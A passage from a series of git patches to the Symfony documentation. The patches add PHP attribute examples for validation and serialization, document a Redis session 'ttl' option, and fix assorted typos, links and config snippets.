+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -151,7 +178,7 @@ You can also define a group sequence in the ``validation_groups`` form option::
 
     // src/Form/MyType.php
     namespace App\Form;
-    
+
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
     use Symfony\Component\Validator\Constraints\GroupSequence;
@@ -204,6 +231,27 @@ entity and a new constraint group called ``Premium``:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotBlank]
+            private $name;
+
+            #[Assert\CardScheme(
+                schemes: [Assert\CardScheme::VISA],
+                groups: ['Premium'],
+            )]
+            private $creditCard;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -263,7 +311,7 @@ entity and a new constraint group called ``Premium``:
             {
                 $metadata->addPropertyConstraint('name', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme([
-                    'schemes' => ['VISA'],
+                    'schemes' => [Assert\CardScheme::VISA],
                     'groups'  => ['Premium'],
                 ]));
             }
@@ -319,6 +367,19 @@ provides a sequence of groups to be validated:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        // ...
+
+        #[Assert\GroupSequenceProvider]
+        class User implements GroupSequenceProviderInterface
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From 72fcddd507da0b2f21cfa384182273ccdcef152e Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 6 Mar 2021 14:15:39 +0100
Subject: [PATCH 0570/5766] [Validator] Add PHP Attributes to validation page

---
 validation.rst | 80 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 80 insertions(+)

diff --git a/validation.rst b/validation.rst
index b0b74525734..0ad5a3108ec 100644
--- a/validation.rst
+++ b/validation.rst
@@ -68,6 +68,20 @@ following:
             private $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            private $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -351,6 +365,25 @@ literature genre mostly associated with the author, which can be set to either
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(
+                choices: ['fiction', 'non-fiction'],
+                message: 'Choose a valid genre.',
+            )]
+            private $genre;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -437,6 +470,22 @@ options can be specified in this way.
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(['fiction', 'non-fiction'])]
+            private $genre;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -559,6 +608,20 @@ class to have at least 3 characters.
             private $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            #[Assert\Length(min: 3)]
+            private $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -655,6 +718,23 @@ this method must return ``true``:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsTrue(message: 'The password cannot match your first name')]
+            public function isPasswordSafe()
+            {
+                // ... return true or false
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From d1190fcfafecb4ee29f8a59fa77210a0b9822799 Mon Sep 17 00:00:00 2001
From: William Pinaud <thedocrepinsfx@gmail.com>
Date: Sat, 6 Mar 2021 15:51:38 +0100
Subject: [PATCH 0571/5766] Added doc and defaults for missing 'ttl' option in
 config

Hi, this might need validation, but I stumbled upon a difference between what the doc says (4.4+) and what's in https://github.com/symfony/http-foundation/blob/5.x/Session/Storage/Handler/RedisSessionHandler.php.

I think the 'ttl' option is unexplained and undocumented since it was added in 2019: https://github.com/symfony/http-foundation/commit/0c5217a9050712a1e66f851d04962abf8f2c6fc4
---
 session/database.rst | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index a0fb1b3d4a6..f7a5b002dbb 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -89,9 +89,10 @@ and ``RedisProxy``:
             Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
                 arguments:
                     - '@Redis'
-                    # you can optionally pass an array of options. The only option is 'prefix',
-                    # which defines the prefix to use for the keys to avoid collision on the Redis server
-                    # - { prefix: 'my_prefix' }
+                    # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                    # which define the prefix to use for the keys to avoid collision on the Redis server 
+                    # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                    # - { 'prefix' => 'my_prefix', 'ttl' => 600 }
 
     .. code-block:: xml
 
@@ -99,8 +100,9 @@ and ``RedisProxy``:
         <services>
             <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
                 <argument type="service" id="Redis"/>
-                <!-- you can optionally pass an array of options. The only option is 'prefix',
-                     which defines the prefix to use for the keys to avoid collision on the Redis server:
+                <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                     which define the prefix to use for the keys to avoid collision on the Redis server 
+                     and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 <argument type="collection">
                     <argument key="prefix">my_prefix</argument>
                 </argument> -->
@@ -116,9 +118,10 @@ and ``RedisProxy``:
             ->register(RedisSessionHandler::class)
             ->addArgument(
                 new Reference('Redis'),
-                // you can optionally pass an array of options. The only option is 'prefix',
-                // which defines the prefix to use for the keys to avoid collision on the Redis server:
-                // ['prefix' => 'my_prefix'],
+                // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                // which define the prefix to use for the keys to avoid collision on the Redis server 
+                // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                // ['prefix' => 'my_prefix', 'ttl' => 600],
             );
 
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`

From b5adc53d63bc0104ae25466c38aa4ea2be77ac3e Mon Sep 17 00:00:00 2001
From: Samuel NELA <hello@samnela.com>
Date: Sat, 6 Mar 2021 23:40:02 +0100
Subject: [PATCH 0572/5766] [Uid] Fix typos

---
 components/uid.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 366ad1bcec6..6a73666f511 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -186,7 +186,7 @@ of the UUID parameters::
         {
             $qb = $this->createQueryBuilder('p')
                 // ...
-                // add 'uuid' as the third argument to tell Doctrine that this is an UUID
+                // add 'uuid' as the third argument to tell Doctrine that this is a UUID
                 ->setParameter('user', $user->getUuid(), 'uuid')
 
                 // alternatively, you can convert it to a value compatible with
@@ -333,7 +333,7 @@ of the ULID parameters::
         {
             $qb = $this->createQueryBuilder('p')
                 // ...
-                // add 'ulid' as the third argument to tell Doctrine that this is an ULID
+                // add 'ulid' as the third argument to tell Doctrine that this is a ULID
                 ->setParameter('user', $user->getUlid(), 'ulid')
 
                 // alternatively, you can convert it to a value compatible with

From 070c9bb8781d956ba645442e1b71781a79e51044 Mon Sep 17 00:00:00 2001
From: Massimiliano Arione <garakkio@gmail.com>
Date: Sun, 7 Mar 2021 11:20:51 +0100
Subject: [PATCH 0573/5766] add a warning about object as extra parameter in
 route

---
 routing.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/routing.rst b/routing.rst
index 86defd2bafc..7c852af98da 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1880,6 +1880,14 @@ use the ``generateUrl()`` helper::
         // the 'blog' route only defines the 'page' parameter; the generated URL is:
         // /blog/2?category=Symfony
 
+.. caution::
+
+    While objects are converted to string when used as placeholders, they are not
+    converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
+    as value of an extra parameter, you need to explictly convert it to a string::
+
+        $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid())]
+
 If your controller does not extend from ``AbstractController``, you'll need to
 :ref:`fetch services in your controller <controller-accessing-services>` and
 follow the instructions of the next section.

From db79f2a9e6f0ce0d4c485fe21df43fdc68470990 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 7 Mar 2021 11:23:33 +0100
Subject: [PATCH 0574/5766] [Framework] Fix reference to default_path

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 246726e820c..ada92f8f25e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2223,7 +2223,7 @@ paths
 This option allows to define an array of paths where the component will look
 for translation files. The later a path is added, the more priority it has
 (translations from later paths overwrite earlier ones). Translations from the
-`default_path <reference-translator-default_path>` have more priority than
+:ref:`default_path <reference-translator-default_path>` have more priority than
 translations from all these paths.
 
 .. _reference-translator-default_path:

From a4063c413d398f48e88356c3fd7f27d338b02f9b Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 7 Mar 2021 11:39:39 +0100
Subject: [PATCH 0575/5766] [Translation] Fix link to Translatable Extension
 documentation

The site http://atlantic18.github.io/DoctrineExtensions/ returns 404.
---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 4a0137b94d8..0e1601cc536 100644
--- a/translation.rst
+++ b/translation.rst
@@ -610,5 +610,5 @@ Learn more
 .. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
-.. _`Translatable Extension`: http://atlantic18.github.io/DoctrineExtensions/doc/translatable.html
+.. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors

From eba011912bd32de759dc4a6569bacdbe53701f39 Mon Sep 17 00:00:00 2001
From: Chris Maiden <chrispmaiden@gmail.com>
Date: Sun, 7 Mar 2021 13:54:03 +0000
Subject: [PATCH 0576/5766] Fix typo

---
 configuration/secrets.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index bb89c67258f..15f4d194f5b 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -212,9 +212,9 @@ Listing the secrets will now also display the local variable:
       DATABASE_PASSWORD   "dev value"   "root"
      ------------------- ------------- -------------
 
-Symfony also provides the ``secrets:decrypt-to-local`` command to decrypts
-all secrets and stores them in the local vault and ``secrets:encrypt-from-local``
-to encrypt all local secrets to the vault.
+Symfony also provides the ``secrets:decrypt-to-local`` command which decrypts
+all secrets and stores them in the local vault and the ``secrets:encrypt-from-local``
+command to encrypt all local secrets to the vault.
 
 Secrets in the test Environment
 -------------------------------

From 5f26782afe95e6ef9912b57899222142a5ddc658 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 9 Mar 2021 11:05:00 +0100
Subject: [PATCH 0577/5766] [PropertyAccess] fix the component name

---
 reference/forms/types/entity.rst | 2 +-
 serializer/normalizers.rst       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 21183ad4e57..cf245c2c275 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -182,7 +182,7 @@ more details, see the main :ref:`choice_label <reference-form-choice-label>` doc
 
     When passing a string, the ``choice_label`` option is a property path. So you
     can use anything supported by the
-    :doc:`PropertyAccessor component </components/property_access>`
+    :doc:`PropertyAccess component </components/property_access>`
 
     For example, if the translations property is actually an associative
     array of objects, each with a ``name`` property, then you could do this::
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index 5aef4568dc6..af30532e48a 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -25,7 +25,7 @@ Symfony includes the following normalizers but you can also
 :doc:`create your own normalizer </serializer/custom_normalizer>`:
 
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
-  normalize PHP object using the :doc:`PropertyAccessor component </components/property_access>`;
+  normalize PHP object using the :doc:`PropertyAccess component </components/property_access>`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
   for :phpclass:`DateTimeZone` objects
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for

From c5101c7d2b0ec56444bd35dd76c3019ab674fc5d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 9 Mar 2021 11:09:09 +0100
Subject: [PATCH 0578/5766] [PropertyAccess] use bitwise instead of boolean
 flags

---
 components/property_access.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index a1ae83ab406..fdb678c1c3e 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -435,7 +435,7 @@ Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`
 
     $list = new PeopleList();
     $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']);
-    $propertyAccessor = new PropertyAccessor(false, false, null, true, $reflectionExtractor, $reflectionExtractor);
+    $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, false, null, true, $reflectionExtractor, $reflectionExtractor);
     $propertyAccessor->setValue($person, 'peoples', ['kevin', 'wouter']);
 
     var_dump($person->getPeoples()); // ['kevin', 'wouter']

From 97a164daa87d81ede8e5f954a32d1af52f0c2408 Mon Sep 17 00:00:00 2001
From: mostefamed <mostefa.medjahed.pro@gmail.com>
Date: Tue, 9 Mar 2021 11:17:02 +0100
Subject: [PATCH 0579/5766] Fix the matched path value

During the test of the example, I didn't get the expected result when calling /blog
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 86defd2bafc..3fc50a8f5d7 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1264,7 +1264,7 @@ the common configuration using options when importing the routes.
     was introduced in Symfony 4.4.
 
 In this example, the route of the ``index()`` action will be called ``blog_index``
-and its URL will be ``/blog/``. The route of the ``show()`` action will be called
+and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes
 will also validate that the ``_locale`` parameter matches the regular expression
 defined in the class annotation.

From a9cb63d242d7047c226cf2431ed1a407fbf84d0a Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 9 Mar 2021 11:03:50 +0100
Subject: [PATCH 0580/5766] =?UTF-8?q?[PropertyAccess]=C2=A0do=20not=20pass?=
 =?UTF-8?q?=20boolean=20constructor=20flags?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 components/property_access.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index fdb678c1c3e..9d3f4e355fc 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -435,7 +435,7 @@ Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`
 
     $list = new PeopleList();
     $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']);
-    $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, false, null, true, $reflectionExtractor, $reflectionExtractor);
+    $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, PropertyAccessor::THROW_ON_INVALID_PROPERTY_PATH, null, $reflectionExtractor, $reflectionExtractor);
     $propertyAccessor->setValue($person, 'peoples', ['kevin', 'wouter']);
 
     var_dump($person->getPeoples()); // ['kevin', 'wouter']

From 607eb2599d09cb3f34f98af79dbcc08ee000e3c1 Mon Sep 17 00:00:00 2001
From: Rob Meijer <profusion@gmail.com>
Date: Tue, 9 Mar 2021 19:44:35 +0000
Subject: [PATCH 0581/5766] [Rate Limiter] Typo in Rate Limiter Status example

---
 rate_limiter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 99617f20d59..6982f88cae4 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -293,7 +293,7 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 
             // ...
 
-            $reponse = new Response('...');
+            $response = new Response('...');
             $response->headers->add($headers);
 
             return $response;

From ad8330b010dd87a6b869cb2a219f68b58a43a22c Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Wed, 10 Mar 2021 15:32:53 +0100
Subject: [PATCH 0582/5766] [Workflow] fix PHP config

---
 workflow/dumping-workflows.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d1749603155..1611082c6f4 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -241,8 +241,8 @@ Below is the configuration for the pull request state machine with styling added
                 'pull_request' => [
                     'type' => 'state_machine',
                     'marking_store' => [
-                        type: 'method',
-                        property: 'currentPlace',
+                        'type' => 'method',
+                        'property' => 'currentPlace',
                     ],
                     'supports' => ['App\Entity\PullRequest'],
                     'initial_marking' => 'start',

From 95ca723c985cb5db4e52a6b394aa7e0b818b1836 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 11 Mar 2021 13:12:02 +0100
Subject: [PATCH 0583/5766] Minor: Sort alphabetically

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 08a10c59e03..7cef0ee2668 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1206,9 +1206,9 @@ If your transport does not support tags and metadata, they will be added as cust
 
 The following transports currently support tags and metadata:
 
-* Postmark
-* Mailgun
 * MailChimp
+* Mailgun
+* Postmark
 * Sendinblue
 
 Development & Debugging

From 2d924e8363900bf0a2b0f6be2604696472e6db9f Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Sun, 28 Feb 2021 23:25:47 +0100
Subject: [PATCH 0584/5766] [Mailer] Configuration of the message_bus to use

---
 mailer.rst | 46 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 9c9c1451add..39f2cb42081 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1094,6 +1094,52 @@ you have a transport called ``async``, you can route the message there:
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
+You can configure which bus is used to dispatch the message using the ``message_bus`` option.
+You can also set this to ``false`` to call the Mailer transport directly and
+disable asynchronous delivery.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                message_bus: app.another_bus
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:mailer
+                    message_bus="app.another_bus"
+                >
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        $container->loadFromExtension('framework', [
+            'mailer' => [
+                'message_bus' => 'app.another_bus',
+            ],
+        ]);
+
+.. versionadded:: 5.1
+
+    The `message_bus` option was introduced in Symfony 5.1.
+
 Adding Tags and Metadata to Emails
 ----------------------------------
 

From 1b476a17e54a229bda2ade9732471aa2d1e78978 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 11 Mar 2021 14:06:48 +0100
Subject: [PATCH 0585/5766] minor

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index c25a4246eb1..8f98d9b766f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1218,7 +1218,7 @@ disable asynchronous delivery.
 
 .. versionadded:: 5.1
 
-    The `message_bus` option was introduced in Symfony 5.1.
+    The ``message_bus`` option was introduced in Symfony 5.1.
 
 Adding Tags and Metadata to Emails
 ----------------------------------

From d59c1c8fdcdff10bc2b2cbd99a73d04261e79d93 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 12 Mar 2021 00:00:46 +0100
Subject: [PATCH 0586/5766] Update debug.rst

---
 reference/configuration/debug.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 86aed3b7ba6..33a6c656537 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -67,9 +67,10 @@ dump_destination
 
 Configures the output destination of the dumps.
 
-By default, the dumps are shown in the toolbar. Since this is not always
-possible (e.g. when working on a JSON API), you can have an alternate output
-destination for dumps. Typically, you would set this to ``php://stderr``:
+By default, dumps are shown in the WebDebugToolbar when returning HTML.
+Since this is not always possible (e.g. when working on a JSON API),
+you can have an alternate output destination for dumps.
+Typically, you would set this to ``php://stderr``:
 
 .. configuration-block::
 

From ce6cdbe33c5f01b36a2486fdfb649bc8e6bf48e2 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 12 Mar 2021 00:06:40 +0100
Subject: [PATCH 0587/5766] Update kernel.rst

---
 reference/configuration/kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 6b0ac4279ad..5cb1f8ea781 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -5,7 +5,7 @@ Configuring in the Kernel
 =========================
 
 Some configuration can be done on the kernel class itself (located by default at
-``src/Kernel.php``). You can do this by overriding specific methods in
+``src/Kernel.php``). You can do this by overriding specific methods of
 the parent :class:`Symfony\\Component\\HttpKernel\\Kernel` class.
 
 Configuration

From 1ad9effde7927b35af83c1fb3b6981c65308fee9 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 12 Mar 2021 00:15:50 +0100
Subject: [PATCH 0588/5766] Update events.rst

---
 reference/events.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/reference/events.rst b/reference/events.rst
index 900d40eb12c..c55bfdcc824 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -1,10 +1,11 @@
 Built-in Symfony Events
 =======================
 
-During the handling of an HTTP request, the Symfony framework (or any
+The Symfony framework is an HTTP Request-Response one.
+During the handling of an HTTP request, the framework (or any
 application using the :doc:`HttpKernel component </components/http_kernel>`)
 dispatches some :doc:`events </event_dispatcher>` which you can use to modify
-how the request is handled.
+how the request is handled and how the response is returned.
 
 Kernel Events
 -------------

From ad6075bf1770d43a8dd71b38bdce5b57bdcf05bf Mon Sep 17 00:00:00 2001
From: mostefamed <mostefa.medjahed.pro@gmail.com>
Date: Sat, 13 Mar 2021 20:23:19 +0100
Subject: [PATCH 0589/5766] Update definitions.rst

Rename the returned variable from setArgument method and the assigned variable to addArgument method
---
 service_container/definitions.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index f90a185e1c5..1107413cf99 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -92,10 +92,10 @@ fetched from the container::
     
     // adds a new argument with the name of the argument
     // $argumentName = the name of the argument in the constructor
-    $argument = $definition->setArgument('$argumentName', $argumentValue);
+    $definition = $definition->setArgument('$argumentName', $argumentValue);
 
     // adds a new argument
-    $definition->addArgument($argument);
+    $definition->addArgument($argumentValue);
 
     // replaces argument on a specific index (0 = first argument)
     $definition->replaceArgument($index, $argument);

From 068b20e5bb83ebd9f5c15cca2004ebe60db8c4bb Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sun, 14 Mar 2021 11:06:51 +0100
Subject: [PATCH 0590/5766] [Serializer] Add PHP Attributes to serializer
 examples

---
 components/serializer.rst | 84 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 84 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index c484a9ed170..5f32da7c468 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -315,6 +315,26 @@ Then, create your groups definition:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace Acme;
+
+        use Symfony\Component\Serializer\Annotation\Groups;
+
+        class MyObj
+        {
+            #[Groups(['group1', 'group2'])]
+            public $foo;
+
+            #[Groups(['group3'])]
+            public function getBar() // is* methods are also supported
+            {
+                return $this->bar;
+            }
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         Acme\MyObj:
@@ -437,6 +457,20 @@ Option 1: Using ``@Ignore`` Annotation
             public $bar;
         }
 
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\Ignore;
+
+        class MyClass
+        {
+            public $foo;
+
+            #[Ignore]
+            public $bar;
+        }
+
     .. code-block:: yaml
 
         App\Model\MyClass:
@@ -658,6 +692,25 @@ defines a ``Person`` entity with a ``firstName`` property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace App\Entity;
+
+        use Symfony\Component\Serializer\Annotation\SerializedName;
+
+        class Person
+        {
+            #[SerializedName('customer_name')]
+            private $firstName;
+
+            public function __construct($firstName)
+            {
+                $this->firstName = $firstName;
+            }
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         App\Entity\Person:
@@ -1214,6 +1267,20 @@ Here, we set it to 2 for the ``$child`` property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace Acme;
+
+        use Symfony\Component\Serializer\Annotation\MaxDepth;
+
+        class MyObj
+        {
+            #[MaxDepth(2)]
+            public $child;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         Acme\MyObj:
@@ -1524,6 +1591,23 @@ and ``BitBucketCodeRepository`` classes:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        namespace App;
+
+        use App\BitBucketCodeRepository;
+        use App\GitHubCodeRepository;
+        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
+
+        #[DiscriminatorMap(typeProperty: 'type', mapping: [
+            'github' => GitHubCodeRepository::class,
+            'bitbucket' => BitBucketCodeRepository::class,
+        ])]
+        interface CodeRepository
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         App\CodeRepository:

From 8c0f61ce423e02bd0f0cec10fdbf5fc8474f049b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 14 Mar 2021 13:01:51 +0100
Subject: [PATCH 0591/5766] [Validator] Fixed a minor RST syntax issue

---
 reference/constraints/Compound.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 53ce70c6df2..95d9ba10789 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -21,7 +21,7 @@ Basic Usage
 -----------
 
 Suppose that you have different places where a user password must be validated,
-you can create your own named set or requirements to be reused consistently everywhere::
+you can create your own named set or requirements to be reused consistently everywhere:
 
 .. configuration-block::
 

From 2f3d95778ff70da9288ae87b4ce38309681435b2 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 14 Mar 2021 19:11:11 +0100
Subject: [PATCH 0592/5766] [Session] Add missing semicolon

---
 session/locale_sticky_session.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst
index f8caef23370..265298f864b 100644
--- a/session/locale_sticky_session.rst
+++ b/session/locale_sticky_session.rst
@@ -109,7 +109,8 @@ via some "Change Locale" route & controller), or create a route with the :ref:`_
             $container->register(LocaleSubscriber::class)
                 ->addArgument('%kernel.default_locale%')
                 // uncomment the next line if you are not using autoconfigure
-                // ->addTag('kernel.event_subscriber');
